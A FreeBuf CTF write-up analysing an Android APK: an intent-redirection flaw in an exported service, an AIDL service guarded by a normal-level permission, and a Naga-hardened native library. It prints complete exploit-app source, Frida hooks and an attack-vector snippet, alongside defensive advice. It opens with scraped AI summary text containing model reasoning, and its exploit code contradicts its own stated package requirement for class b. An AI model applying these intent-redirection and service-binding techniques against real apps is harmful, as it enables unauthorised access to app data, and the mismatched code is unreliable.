Android APK逆向分析:多组件协同漏洞利用链详解
嗯,我需要总结一下这篇文章的内容,控制在一百个字以内。首先,文章主要讲的是一个Android逆向CTF题目,涉及APK反编译、组件安全、JNI交互和SO加固等多个技术点。作者通过分析APK的组件配置、权限保护机制、AIDL接口以及组件间通信漏洞,构建了一个完整的漏洞利用链,最终获取flag。 接下来,文章详细介绍了环境准备、APK结构分析、Java层代码分析、Native层分析以及完整的攻击链构建。其中提到了工具清单、样本基本信息、AndroidManifest.xml分析、WebActivity和MiscService的漏洞分析,还有CoreService与AIDL接口的安全问题。 然后是关于SO文件的加固检测和绕过方法,包括娜迦加固的特点和反调试机制。最后,文章还给出了安全防护建议,强调了组件安全、Intent处理和数据保护的重要性。 总的来说,这篇文章通过深入分析一个CTF题目,展示了Android应用的安全风险和逆向工程的技术细节。读者可以从中学习到如何识别和利用常见的Android安全漏洞,并在实际开发中采取相应的防护措施。 现在我需要将这些内容浓缩到一百个字以内。重点包括:Android逆向CTF题目、APK反编译、组件安全、JNI交互、SO加固、漏洞利用链构建以及安全防护建议。 </think> 文章深入分析了一道Android逆向CTF题目,涉及APK反编译、组件安全配置不当(如normal权限)、JNI交互及SO加固技术。通过发现CoreService的权限保护漏洞及MiscService的intent重定向问题,成功构建了利用链以获取flag,并提出了相应的安全防护建议。 2025-11-30 07:39:43 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

一、前言

本文将深入分析一道Android逆向CTF题目,该题目涉及APK反编译、组件安全、JNI交互、SO加固等多个技术点。通过分析APK的组件导出配置、权限保护机制、AIDL接口暴露以及组件间通信漏洞,构建完整的漏洞利用链,最终获取flag。

二、环境准备

2.1 工具清单

  • APK分析工具:APKTool、JADX、JEB等反编译工具

  • Android开发环境:Android Studio

  • 逆向分析工具:IDA Pro、Ghidra(用于分析SO文件)

  • 测试环境:Android模拟器或真机

2.2 样本基本信息

文件名:Load
文件类型:Android APK
包名:com.example.wawawa
主要组件:

  • WebActivity(未导出)

  • CoreService(normal权限保护)

  • MiscService(已导出)

  • Native库:libWaWaWa.so(经过娜迦加固)

三、APK结构分析

3.1 初步探查

首先,将APK文件解压缩,查看其基本结构:

unzip Load -d apk_extracted
cd apk_extracted
ls -la

可以看到标准的APK目录结构:

  • AndroidManifest.xml:应用清单文件(二进制格式)

  • classes.dex:Java字节码

  • lib/armeabi/libWaWaWa.so:ARM架构的Native库(大小约313KB)

  • assets/666:资产文件

  • res/:资源文件夹

3.2 AndroidManifest.xml分析

使用APKTool或JADX反编译APK,获得可读的AndroidManifest.xml:

apktool d Load -o decompiled

关键配置分析:

3.2.1 权限声明

应用声明了一个自定义权限:

<permission
    android:name="com.example.wawawa.permission.CORE_SERVICE"
    android:protectionLevel="normal" />

技术要点:

  • protectionLevel="normal":这是最低级别的保护,任何应用都可以申请该权限

  • 这意味着第三方应用可以轻松获得访问CoreService的权限

3.2.2 组件导出配置

WebActivity(关键目标组件):

<activity android:name=".WebActivity" />
  • 未设置android:exported="true"

  • 在Android 5.0+系统中,默认不导出

  • 无法直接从外部启动

CoreService(核心服务):

<service
    android:name=".CoreService"
    android:permission="com.example.wawawa.permission.CORE_SERVICE">
    <intent-filter>
        <action android:name="com.example.wawawa.CORE_SERVICE" />
    </intent-filter>
</service>
  • 受自定义permission保护

  • 但由于是normal级别,实际上形同虚设

  • 包含Intent Filter,可通过隐式Intent调用

MiscService(中转服务):

<service android:name=".MiscService">
    <intent-filter>
        <action android:name="com.example.wawawa.Misc_SERVICE" />
    </intent-filter>
</service>
  • 完全导出,无任何保护

  • 这是攻击的入口点

四、Java层代码分析

4.1 WebActivity分析

使用JADX反编译classes.dex,查看WebActivity的关键代码:

public class WebActivity extends Activity {
    private WebView a;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(R.layout.activity_web);  // 2130903068
        this.a = findViewById(R.id.webview);
        this.a.setWebViewClient(new g(this));

        Serializable v0 = this.getIntent().getSerializableExtra("KEY");

        if(v0 == null || !(v0 instanceof b)) {
            Toast.makeText(this, "flag is null", Toast.LENGTH_SHORT).show();
        } else {
            String v1 = ((b)v0).a();  // 获取key
            String v2 = ((b)v0).b();  // 获取iv

            if("loading".equals(((b)v0).c())) {
                if(v1 != null && v2 != null) {
                    // 核心:调用Native方法解密flag URL
                    this.a.loadUrl(Load.decode(this, v1, v2, a.a));
                    Toast.makeText(this, "flag loading ...", Toast.LENGTH_SHORT).show();
                    return;
                }

                this.a.loadUrl("file:///android_asset/666");
            }
        }
    }
}

关键发现:

  1. 序列化对象接收机制:

    • 通过Intent接收一个实现Serializable的对象(键名为"KEY")

    • 该对象必须是b类型的实例

  2. 参数提取:

    • v1 = ((b)v0).a():提取DES解密的key

    • v2 = ((b)v0).b():提取DES解密的iv

    • 需要满足条件:((b)v0).c().equals("loading")

  3. Native解密调用:

    Load.decode(Context context, String key, String iv, String encrypted)
    
    • 第四个参数a.a:应该是加密后的flag URL

    • 该方法在SO库中实现

  4. 失败降级:

    • 如果参数不正确,加载本地assets/666文件(内容为"666")

4.2 数据载体类b的分析

public class b implements Serializable {
    private String key;
    private String iv;
    private String status;

    public b(String key, String iv, String status) {
        this.key = key;
        this.iv = iv;
        this.status = status;
    }

    public String a() {
        return this.key;
    }

    public String b() {
        return this.iv;
    }

    public String c() {
        return this.status;
    }
}

技术要点:

  • 这是一个简单的数据传输对象(DTO)

  • 实现Serializable接口,可通过Intent传递

  • 三个字段分别对应DES加密的key、iv和状态标识

4.3 MiscService分析

public class MiscService extends Service {
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Intent nextIntent = this.a(intent);
        this.startActivity(nextIntent);
        return super.onStartCommand(intent, flags, startId);
    }

    public Intent a(Intent arg4) {
        Intent v0 = new Intent();
        v0.setClassName(
            this.getApplicationContext(),
            arg4.getStringExtra("CLASS_NAME")
        );
        v0.putExtras(arg4);
        v0.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  // 268435456
        return v0;
    }
}

漏洞分析:

这是一个典型的"Intent重定向"漏洞,也称为"Next Intent"漏洞:

  1. 可控的组件启动:

    • 从外部Intent中读取CLASS_NAME参数

    • 直接使用该参数构造新的Intent并启动Activity

    • 没有任何白名单验证

  2. 参数透传:

    • v0.putExtras(arg4)将所有外部参数原样传递

    • 这意味着攻击者可以控制目标Activity接收到的所有参数

  3. 绕过导出限制:

    • 虽然WebActivity未导出,但通过MiscService可以间接启动

    • MiscService本身是导出的,成为攻击跳板

利用条件:

  • 知道目标组件的完整类名(包名.类名)

  • 了解目标组件期望接收的参数格式

4.4 CoreService与AIDL接口分析

CoreService暴露了AIDL(Android Interface Definition Language)接口:

public class CoreService extends Service {
    private final b binder = new b(this);

    @Override
    public IBinder onBind(Intent intent) {
        return binder;
    }

    // 内部Binder实现
    class b extends a.Stub {
        private CoreService a;

        b(CoreService service) {
            this.a = service;
            super();
        }

        @Override
        public String a() throws RemoteException {
            c v0 = new c(
                Load.getUrl(this.a),    // 获取VPS URL
                Load.getToken(this.a)   // 获取Token
            );
            v0.start();
            try {
                v0.join();
            } catch(InterruptedException e) {
                e.printStackTrace();
            }
            return v0.a();  // 返回服务器响应(key)
        }

        @Override
        public String b() throws RemoteException {
            return null;
        }

        @Override
        public String c() throws RemoteException {
            return Load.getIv(this.a);  // 直接返回IV
        }
    }
}

关键技术点:

  1. AIDL接口定义:
    接口a(实际应为d.aidl)定义了三个方法:

    • String a():获取解密key(从远程服务器)

    • String b():未实现

    • String c():获取解密iv(本地)

  2. Native方法调用:

    Load.getUrl(Context)    // 返回VPS的URL
    Load.getToken(Context)  // 返回验证Token
    Load.getIv(Context)     // 返回DES的IV
    
  3. 网络请求逻辑(类c):

    class c extends Thread {
        private String url;
        private String token;
        private String response;
    
        c(String url, String token) {
            this.url = url;
            this.token = token;
        }
    
        @Override
        public void run() {
            // POST请求到url,携带token参数
            // 服务器验证token后返回DES的key
            this.response = httpPost(url, token);
        }
    
        public String a() {
            return this.response;
        }
    }
    

安全问题:

虽然CoreService声明了权限保护,但:

  • 权限级别为normal,任何应用都可以申请

  • 在Exploit APK的Manifest中添加:

    <uses-permission android:name="com.example.wawawa.permission.CORE_SERVICE" />
    

    即可访问该服务

五、Native层分析

5.1 SO文件基本信息

file libWaWaWa.so

输出:

libWaWaWa.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV),
dynamically linked, no section header

关键特征:

  • 32位ARM架构

  • 没有Section Header(被加固去除)

5.2 加固检测

使用readelf分析:

readelf -d libWaWaWa.so

输出显示:

readelf: Warning: Virtual address 0x460cc not located in any PT_LOAD segment.
readelf: Error: Corrupt DT_STRTAB dynamic entry

加固特征识别:

  1. 字符串表损坏:

    • DT_STRTAB指向的虚拟地址不在有效的加载段

    • 这是典型的娜迦(Naga)加固特征

  2. Section Header缺失:

    • 正常SO文件包含多个Section(.text、.data、.rodata等)

    • 加固后Section Header被完全移除

  3. 字符串混淆:
    通过strings命令可以看到:

    begin decode strtab
    decode string %s
    end decode strtab 2
    

    说明SO在运行时动态解密字符串表

5.3 Native方法签名推测

虽然SO被加固,但通过Java层调用可以推测出JNI方法签名:

// Java层调用:Load.decode(Context, String, String, String)
JNIEXPORT jstring JNICALL
Java_com_example_wawawa_Load_decode(
    JNIEnv* env,
    jclass clazz,
    jobject context,
    jstring key,
    jstring iv,
    jstring encrypted
);

// Java层调用:Load.getUrl(Context)
JNIEXPORT jstring JNICALL
Java_com_example_wawawa_Load_getUrl(
    JNIEnv* env,
    jclass clazz,
    jobject context
);

// Java层调用:Load.getToken(Context)
JNIEXPORT jstring JNICALL
Java_com_example_wawawa_Load_getToken(
    JNIEnv* env,
    jclass clazz,
    jobject context
);

// Java层调用:Load.getIv(Context)
JNIEXPORT jstring JNICALL
Java_com_example_wawawa_Load_getIv(
    JNIEnv* env,
    jclass clazz,
    jobject context
);

5.4 SO加固的反调试机制

题目描述提到"APK启动后会检测SO的调用者",常见检测手段包括:

  1. 调用栈检查:

    // 检查调用者的包名是否合法
    jclass contextClass = (*env)->GetObjectClass(env, context);
    jmethodID getPackageNameMethod = (*env)->GetMethodID(env, contextClass,
        "getPackageName", "()Ljava/lang/String;");
    jstring packageName = (*env)->CallObjectMethod(env, context, getPackageNameMethod);
    
    const char* pkgName = (*env)->GetStringUTFChars(env, packageName, NULL);
    if(strcmp(pkgName, "com.example.wawawa") != 0) {
        // 非法调用者,返回错误或崩溃
        return NULL;
    }
    
  2. 签名校验:

    • 检查调用应用的签名是否与原始APK一致

    • 防止重打包攻击

  3. 运行时完整性检查:

    • 验证DEX文件的CRC32

    • 检测Frida、Xposed等Hook框架

绕过方法(仅用于CTF学习):

  • 由于CoreService的AIDL接口暴露,我们可以利用原应用自身的进程调用Native方法

  • 这样调用者就是合法的"com.example.wawawa"包

六、完整攻击链构建

6.1 攻击流程图

第三方Exploit APK
    |
    | 1. 绑定CoreService(申请CORE_SERVICE权限)
    v
CoreService.a()  ----------> Load.getUrl() + Load.getToken()
    |                            |
    | 返回key                     | POST请求到VPS
    v                            v
保存key值                    VPS验证token,返回DES key
    |
    | 2. 调用CoreService.c()
    v
CoreService.c() -----------> Load.getIv()
    |                            |
    | 返回iv                      | 从本地返回IV
    v                            v
保存iv值                     返回IV字符串
    |
    | 3. 构造Intent,启动MiscService
    v
MiscService.onStartCommand()
    |
    | 读取CLASS_NAME参数 = "com.example.wawawa.WebActivity"
    | 读取KEY参数 = 序列化的b对象(key, iv, "loading")
    v
启动WebActivity(绕过未导出限制)
    |
    v
WebActivity.onCreate()
    |
    | 反序列化b对象,提取key和iv
    v
Load.decode(context, key, iv, encryptedUrl)
    |
    | DES解密
    v
loadUrl(flagUrl)  --------> VPS上的flag页面
    |
    v
获取FLAG

6.2 攻击步骤详解

步骤1:创建Exploit APK项目

在Android Studio中创建新项目,配置Manifest:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.exploit.loadctf">

    <!-- 申请访问CoreService的权限 -->
    <uses-permission
        android:name="com.example.wawawa.permission.CORE_SERVICE" />

    <application
        android:allowBackup="true"
        android:label="Exploit"
        android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

步骤2:复制目标应用的AIDL接口

在Exploit项目中创建相同的包结构和AIDL文件:

src/main/aidl/com/example/wawawa/d.aidl

内容:

package com.example.wawawa;

interface d {
    String a();  // 获取key
    String b();  // 未使用
    String c();  // 获取iv
}

步骤3:实现Service绑定逻辑

MainActivity.java:

package com.exploit.loadctf;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.RemoteException;
import android.util.Log;
import android.widget.Toast;

import com.example.wawawa.d;

public class MainActivity extends Activity {
    private static final String TAG = "LoadExploit";
    private d coreService;
    private String key = null;
    private String iv = null;

    private ServiceConnection conn = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            Log.d(TAG, "CoreService connected");
            coreService = d.Stub.asInterface(service);

            try {
                // 调用AIDL接口获取IV
                iv = coreService.c();
                Log.d(TAG, "IV = " + iv);

                // 调用AIDL接口获取Key(会发起网络请求)
                key = coreService.a();
                Log.d(TAG, "Key = " + key);

                // 成功获取key和iv后,启动攻击链第二阶段
                if(key != null && iv != null) {
                    launchWebActivity();
                }
            } catch (RemoteException e) {
                e.printStackTrace();
                Toast.makeText(MainActivity.this,
                    "Error: " + e.getMessage(),
                    Toast.LENGTH_LONG).show();
            }
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            Log.d(TAG, "CoreService disconnected");
            coreService = null;
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // 绑定目标应用的CoreService
        bindCoreService();
    }

    private void bindCoreService() {
        try {
            ComponentName component = new ComponentName(
                "com.example.wawawa",
                "com.example.wawawa.CoreService"
            );
            Intent intent = new Intent();
            intent.setComponent(component);

            boolean result = bindService(
                intent,
                conn,
                Context.BIND_AUTO_CREATE
            );

            if(result) {
                Log.d(TAG, "Binding CoreService...");
            } else {
                Toast.makeText(this,
                    "Failed to bind CoreService",
                    Toast.LENGTH_LONG).show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void launchWebActivity() {
        // 创建序列化对象
        b data = new b(key, iv, "loading");

        // 构造Intent,通过MiscService启动WebActivity
        Intent intent = new Intent("com.example.wawawa.Misc_SERVICE");
        intent.putExtra("CLASS_NAME", "com.example.wawawa.WebActivity");
        intent.putExtra("KEY", data);

        startService(intent);

        Toast.makeText(this,
            "Launching WebActivity...",
            Toast.LENGTH_LONG).show();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if(coreService != null) {
            unbindService(conn);
        }
    }
}

步骤4:创建数据传输类

com/exploit/loadctf/b.java:

package com.exploit.loadctf;

import java.io.Serializable;

public class b implements Serializable {
    private String key;
    private String iv;
    private String status;

    public b(String key, String iv, String status) {
        this.key = key;
        this.iv = iv;
        this.status = status;
    }

    public String a() {
        return this.key;
    }

    public String b() {
        return this.iv;
    }

    public String c() {
        return this.status;
    }
}

注意事项:

  • 类名必须为b(或与目标应用中的类名一致)

  • 必须在相同的包名下(com.example.wawawa.b

  • 字段名和方法签名必须完全一致

  • 否则反序列化会失败

步骤5:理解关键技术细节

为什么需要绑定CoreService?

  1. 获取解密参数:

    • DES解密需要key和iv

    • key存储在远程VPS,需要正确的token才能获取

    • iv可能硬编码在SO中或动态生成

  2. 绕过SO调用者检测:

    • 直接在Exploit应用中加载SO会被检测到

    • 通过AIDL调用,Native代码在原应用进程中运行

    • Context.getPackageName()返回"com.example.wawawa",通过检测

为什么需要MiscService作为跳板?

  1. 绕过组件导出限制:

    • WebActivity未导出,无法直接启动

    • MiscService导出且存在Intent重定向漏洞

    • 通过MiscService间接启动WebActivity

  2. 参数传递:

    • MiscService会将所有Intent参数原样传递

    • 包括我们精心构造的序列化对象

6.3 完整利用代码

考虑到实际CTF环境,以下是优化后的完整Exploit:

package com.exploit.loadctf;

import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
import android.os.RemoteException;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

import com.example.wawawa.d;

public class MainActivity extends Activity {
    private static final String TAG = "LoadExploit";

    private TextView tvStatus;
    private TextView tvKey;
    private TextView tvIv;
    private Button btnBind;
    private Button btnExploit;

    private d coreService;
    private String key = null;
    private String iv = null;

    private ServiceConnection conn = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            updateStatus("CoreService已连接");
            coreService = d.Stub.asInterface(service);

            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        // 获取IV(本地,速度快)
                        iv = coreService.c();
                        runOnUiThread(new Runnable() {
                            @Override
                            public void run() {
                                tvIv.setText("IV: " + iv);
                            }
                        });

                        // 获取Key(网络请求,可能较慢)
                        updateStatus("正在从VPS获取Key...");
                        key = coreService.a();

                        runOnUiThread(new Runnable() {
                            @Override
                            public void run() {
                                tvKey.setText("Key: " + key);
                                if(key != null && iv != null) {
                                    btnExploit.setEnabled(true);
                                    updateStatus("参数获取成功!可以发起攻击");
                                } else {
                                    updateStatus("参数获取失败");
                                }
                            }
                        });
                    } catch (RemoteException e) {
                        e.printStackTrace();
                        runOnUiThread(new Runnable() {
                            @Override
                            public void run() {
                                updateStatus("错误: " + e.getMessage());
                            }
                        });
                    }
                }
            }).start();
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            updateStatus("CoreService已断开");
            coreService = null;
        }
    };

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        tvStatus = findViewById(R.id.tv_status);
        tvKey = findViewById(R.id.tv_key);
        tvIv = findViewById(R.id.tv_iv);
        btnBind = findViewById(R.id.btn_bind);
        btnExploit = findViewById(R.id.btn_exploit);

        btnBind.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                bindCoreService();
            }
        });

        btnExploit.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                launchWebActivity();
            }
        });
    }

    private void bindCoreService() {
        try {
            ComponentName component = new ComponentName(
                "com.example.wawawa",
                "com.example.wawawa.CoreService"
            );
            Intent intent = new Intent();
            intent.setComponent(component);

            boolean result = bindService(intent, conn, Context.BIND_AUTO_CREATE);

            if(result) {
                updateStatus("正在绑定CoreService...");
                btnBind.setEnabled(false);
            } else {
                updateStatus("绑定失败:目标应用未安装?");
            }
        } catch (Exception e) {
            updateStatus("异常: " + e.getMessage());
            e.printStackTrace();
        }
    }

    private void launchWebActivity() {
        if(key == null || iv == null) {
            Toast.makeText(this, "参数不完整", Toast.LENGTH_SHORT).show();
            return;
        }

        // 构造序列化对象
        b data = new b(key, iv, "loading");

        // 通过MiscService启动WebActivity
        Intent intent = new Intent("com.example.wawawa.Misc_SERVICE");
        intent.putExtra("CLASS_NAME", "com.example.wawawa.WebActivity");
        intent.putExtra("KEY", data);
        intent.setPackage("com.example.wawawa");  // 指定目标包名

        startService(intent);

        updateStatus("已发送攻击请求,WebActivity应该已启动");
        Toast.makeText(this, "请查看目标应用", Toast.LENGTH_LONG).show();
    }

    private void updateStatus(final String msg) {
        runOnUiThread(new Runnable() {
            @Override
            public void run() {
                tvStatus.setText(msg);
                Log.d(TAG, msg);
            }
        });
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if(coreService != null) {
            unbindService(conn);
        }
    }
}

对应的布局文件 activity_main.xml:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    android:padding="16dp">

    <TextView
        android:id="@+id/tv_status"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="状态:未开始"
        android:textSize="16sp"
        android:textColor="#000000"
        android:padding="8dp"/>

    <TextView
        android:id="@+id/tv_key"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Key: 未获取"
        android:textSize="14sp"
        android:padding="8dp"/>

    <TextView
        android:id="@+id/tv_iv"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="IV: 未获取"
        android:textSize="14sp"
        android:padding="8dp"/>

    <Button
        android:id="@+id/btn_bind"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="绑定CoreService"
        android:layout_marginTop="16dp"/>

    <Button
        android:id="@+id/btn_exploit"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="启动攻击"
        android:enabled="false"
        android:layout_marginTop="8dp"/>

</LinearLayout>

七、技术原理深度解析

7.1 Android组件安全机制

7.1.1 组件导出的安全性

Android四大组件(Activity、Service、BroadcastReceiver、ContentProvider)默认导出规则:

Android版本无Intent Filter有Intent Filter
< 4.2不导出导出
>= 4.2不导出导出
>= 12 (API 31)不导出必须显式声明

安全最佳实践:

<!-- 显式声明不导出 -->
<activity
    android:name=".WebActivity"
    android:exported="false" />

<!-- 导出组件必须有充分理由,并加强验证 -->
<service
    android:name=".PublicService"
    android:exported="true"
    android:permission="signature级别的权限" />

7.1.2 权限保护级别

protectionLevel说明安全性
normal任何应用都可申请
dangerous需要用户授权
signature仅相同签名的应用可申请
signatureOrSystem签名相同或系统应用很高

本题漏洞:

  • CoreService使用normal级别权限保护

  • 实际上形同虚设,任何应用都可以访问

正确做法:

<permission
    android:name="com.example.wawawa.permission.CORE_SERVICE"
    android:protectionLevel="signature" />

7.2 Intent重定向漏洞原理

7.2.1 漏洞模式

Intent重定向(也称为Intent Forwarding)是指应用从外部Intent中提取参数,构造新的Intent并启动组件,而没有进行充分验证。

危险代码模式:

// 从外部Intent获取目标组件名
String className = intent.getStringExtra("target");
Intent newIntent = new Intent();
newIntent.setClassName(getPackageName(), className);  // 危险!
startActivity(newIntent);

攻击向量:

Intent attack = new Intent();
attack.setComponent(new ComponentName("com.victim.app", "VulnerableService"));
attack.putExtra("target", "PrivateActivity");  // 未导出的组件
startService(attack);

7.2.2 防御措施

方法1:白名单验证

private static final Set<String> ALLOWED_CLASSES = new HashSet<>(Arrays.asList(
    "com.example.app.PublicActivity",
    "com.example.app.AnotherPublicActivity"
));

public Intent buildIntent(Intent input) {
    String className = input.getStringExtra("CLASS_NAME");
    if(!ALLOWED_CLASSES.contains(className)) {
        throw new SecurityException("Invalid target class");
    }

    Intent intent = new Intent();
    intent.setClassName(this, className);
    return intent;
}

方法2:不信任外部输入

// 不要从外部Intent获取目标组件
// 而是通过action或其他安全方式映射
public Intent buildIntent(Intent input) {
    String action = input.getStringExtra("action");
    Intent intent = new Intent();

    switch(action) {
        case "ACTION_SHOW_SETTINGS":
            intent.setClass(this, SettingsActivity.class);
            break;
        case "ACTION_SHOW_HELP":
            intent.setClass(this, HelpActivity.class);
            break;
        default:
            throw new IllegalArgumentException("Unknown action");
    }

    return intent;
}

7.3 AIDL接口安全

7.3.1 AIDL工作原理

AIDL(Android Interface Definition Language)用于实现跨进程通信(IPC):

调用方进程                     被调用方进程
    |                              |
    | 1. 调用Proxy方法              |
    |------------------------------>|
    |                              | 2. Binder驱动传递
    |                              |    序列化数据
    |                              |
    | 3. Stub接收并反序列化         |
    |<------------------------------|
    |                              | 4. 调用实际方法
    |                              | 5. 序列化返回值
    |------------------------------>|
    | 6. 返回结果                   |

7.3.2 AIDL安全风险

  1. 数据泄露:

    • 暴露的AIDL方法可能返回敏感信息

    • 本题中直接返回DES的key和iv

  2. 权限绕过:

    • 如果Service权限保护不当,任何应用都可以调用

    • normal级别权限形同虚设

  3. 方法滥用:

    • 暴露的方法可能执行敏感操作

    • 例如:文件操作、数据库查询、网络请求

7.3.3 AIDL安全加固

方法1:调用者身份验证

@Override
public String getSensitiveData() throws RemoteException {
    // 获取调用者UID
    int callingUid = Binder.getCallingUid();

    // 获取调用者包名
    String[] packages = getPackageManager().getPackagesForUid(callingUid);
    if(packages == null || packages.length == 0) {
        throw new SecurityException("Unknown caller");
    }

    // 白名单验证
    boolean authorized = false;
    for(String pkg : packages) {
        if("com.trusted.app".equals(pkg)) {
            authorized = true;
            break;
        }
    }

    if(!authorized) {
        throw new SecurityException("Unauthorized caller: " + packages[0]);
    }

    // 验证签名
    if(!verifySignature(packages[0])) {
        throw new SecurityException("Invalid signature");
    }

    return sensitiveData;
}

方法2:权限检查

@Override
public String getSensitiveData() throws RemoteException {
    // 检查调用者是否有特定权限
    if(checkCallingPermission("com.example.SENSITIVE_PERMISSION")
            != PackageManager.PERMISSION_GRANTED) {
        throw new SecurityException("Permission denied");
    }

    return sensitiveData;
}

7.4 DES加密与解密

7.4.1 DES算法基础

DES(Data Encryption Standard)是一种对称加密算法:

  • 密钥长度:56位(实际输入64位,每8位有1位校验位)

  • 分组长度:64位

  • 已被认为不安全,建议使用AES

7.4.2 本题的解密流程

根据代码分析,解密过程:

// Native层实现(推测)
JNIEXPORT jstring JNICALL
Java_com_example_wawawa_Load_decode(
    JNIEnv* env,
    jclass clazz,
    jobject context,
    jstring jKey,
    jstring jIv,
    jstring jEncrypted
) {
    const char* key = (*env)->GetStringUTFChars(env, jKey, NULL);
    const char* iv = (*env)->GetStringUTFChars(env, jIv, NULL);
    const char* encrypted = (*env)->GetStringUTFChars(env, jEncrypted, NULL);

    // DES解密
    unsigned char* decrypted = des_decrypt(
        (unsigned char*)encrypted,
        strlen(encrypted),
        (unsigned char*)key,
        (unsigned char*)iv
    );

    jstring result = (*env)->NewStringUTF(env, (char*)decrypted);

    // 释放资源
    (*env)->ReleaseStringUTFChars(env, jKey, key);
    (*env)->ReleaseStringUTFChars(env, jIv, iv);
    (*env)->ReleaseStringUTFChars(env, jEncrypted, encrypted);
    free(decrypted);

    return result;
}

7.4.3 为什么key需要从服务器获取?

  1. 防止静态分析:

    • 如果key硬编码在APK中,逆向分析即可提取

    • 存储在服务器端,增加攻击难度

  2. 动态验证:

    • 服务器验证token,确保是合法请求

    • token可能与设备信息、时间戳等绑定

  3. 增加逆向难度:

    • 必须理解整个攻击链

    • 单纯分析SO文件无法获取key

7.5 SO加固技术

7.5.1 娜迦(Naga)加固原理

娜迦加固主要采用以下技术:

  1. Section加密:

    • 将.text、.rodata等Section加密

    • 运行时动态解密

  2. 字符串表加密:

    • 加密DT_STRTAB

    • 导致readelf、nm等工具无法解析

  3. 反调试:

    • ptrace自检

    • TracerPid检测

    • 时间差检测

  4. 完整性校验:

    • DEX文件CRC校验

    • SO文件自校验

7.5.2 加固检测方法

# 检测1:Section Header
readelf -S libWaWaWa.so
# 如果输出"no sections",说明被加固

# 检测2:字符串表
readelf -p .dynstr libWaWaWa.so
# 如果报错"Corrupt DT_STRTAB",说明字符串表被加密

# 检测3:导出符号
nm -D libWaWaWa.so
# 如果无法列出函数名,说明符号表被处理

# 检测4:字符串
strings libWaWaWa.so | grep "decode"
# 如果看到"begin decode strtab"等字样,确认是娜迦加固

7.5.3 加固绕过思路(仅用于学习)

对于CTF题目,常见绕过方法:

  1. 运行时dump:

    • 使用Frida hook JNI_OnLoad

    • 在SO解密后dump内存

  2. 利用原生接口:

    • 像本题一样,通过AIDL调用原应用的方法

    • SO在原应用进程中运行,绕过调用者检测

  3. 模拟执行环境:

    • 使用Unicorn、Qiling等模拟器

    • 模拟Android运行时环境

八、实战演练

8.1 环境搭建

  1. 安装目标APK:

adb install Load
adb shell pm list packages | grep wawawa
  1. 编译Exploit APK:

cd ExploitProject
./gradlew assembleDebug
adb install app/build/outputs/apk/debug/app-debug.apk

8.2 执行攻击

  1. 启动Exploit应用

  2. 点击"绑定CoreService"按钮

    • 观察日志输出

    • 等待获取key和iv

  3. 点击"启动攻击"按钮

    • MiscService将启动WebActivity

    • WebActivity解密flag URL并加载

  4. 切换到目标应用

    • 查看WebView内容

    • 获取flag

8.3 调试技巧

8.3.1 Logcat监控

# 过滤目标应用的日志
adb logcat | grep -E "(wawawa|LoadExploit)"

# 监控Service绑定
adb logcat | grep -i "bind"

# 监控网络请求
adb logcat | grep -E "(http|url)"

8.3.2 网络抓包

# 使用Charles或Burp Suite抓包
# 查看CoreService.a()发送的POST请求
# 分析token和返回的key

8.3.3 Frida动态分析

// hook Native方法
Java.perform(function() {
    var Load = Java.use("com.example.wawawa.Load");

    Load.decode.implementation = function(context, key, iv, encrypted) {
        console.log("[*] decode called");
        console.log("    Key: " + key);
        console.log("    IV: " + iv);
        console.log("    Encrypted: " + encrypted);

        var result = this.decode(context, key, iv, encrypted);
        console.log("    Decrypted: " + result);

        return result;
    };

    Load.getUrl.implementation = function(context) {
        var url = this.getUrl(context);
        console.log("[*] getUrl: " + url);
        return url;
    };

    Load.getToken.implementation = function(context) {
        var token = this.getToken(context);
        console.log("[*] getToken: " + token);
        return token;
    };

    Load.getIv.implementation = function(context) {
        var iv = this.getIv(context);
        console.log("[*] getIv: " + iv);
        return iv;
    };
});

九、安全防护建议

9.1 组件安全

  1. 最小化导出组件:

    • 仅导出必须对外提供的组件

    • 显式设置android:exported="false"

  2. 使用signature级别权限:

<permission
    android:name="com.example.app.SENSITIVE"
    android:protectionLevel="signature" />
  1. 验证调用者身份:

int callingUid = Binder.getCallingUid();
String[] packages = getPackageManager().getPackagesForUid(callingUid);
// 验证包名和签名

9.2 Intent处理

  1. 不信任外部输入:

// 错误示例
